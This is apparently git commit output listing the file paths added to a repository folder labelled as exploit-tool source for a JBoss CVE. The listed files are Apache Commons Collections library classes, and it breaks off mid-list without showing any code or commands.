"JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/TreeBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BlockingBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PredicatedBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PriorityBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TransformedBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TypedBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/CompositeCollection.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/PredicatedCollection.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/SynchronizedCollection.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TransformedCollection.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TypedCollection.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableCollection.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/BooleanComparator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparableComparator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparatorChain.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/FixedOrderComparator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/NullComparator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ReverseComparator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/TransformingComparator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AllPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AndPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AnyPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedClosure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/CloneTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ClosureTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantFactory.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/EqualPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionClosure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionFactory.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FactoryTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FalsePredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ForClosure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FunctorUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IdentityPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IfClosure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstanceofPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateFactory.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InvokerTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/MapTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPClosure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NonePredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotNullPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsTruePredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OnePredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OrPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PrototypeFactory.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/StringValueTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchClosure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchTransformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformedPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerClosure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerPredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TruePredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/UniquePredicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/WhileClosure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayListIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/CollatingIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyListIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyMapIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EnumerationIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterListIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorChain.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorEnumeration.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/LoopingIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyListIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonListIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/TransformIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/MultiKey.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractLinkedList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractListDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/CursorableLinkedList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/FixedSizeList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/LazyList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/NodeCachingLinkedList.java" create mode 100644 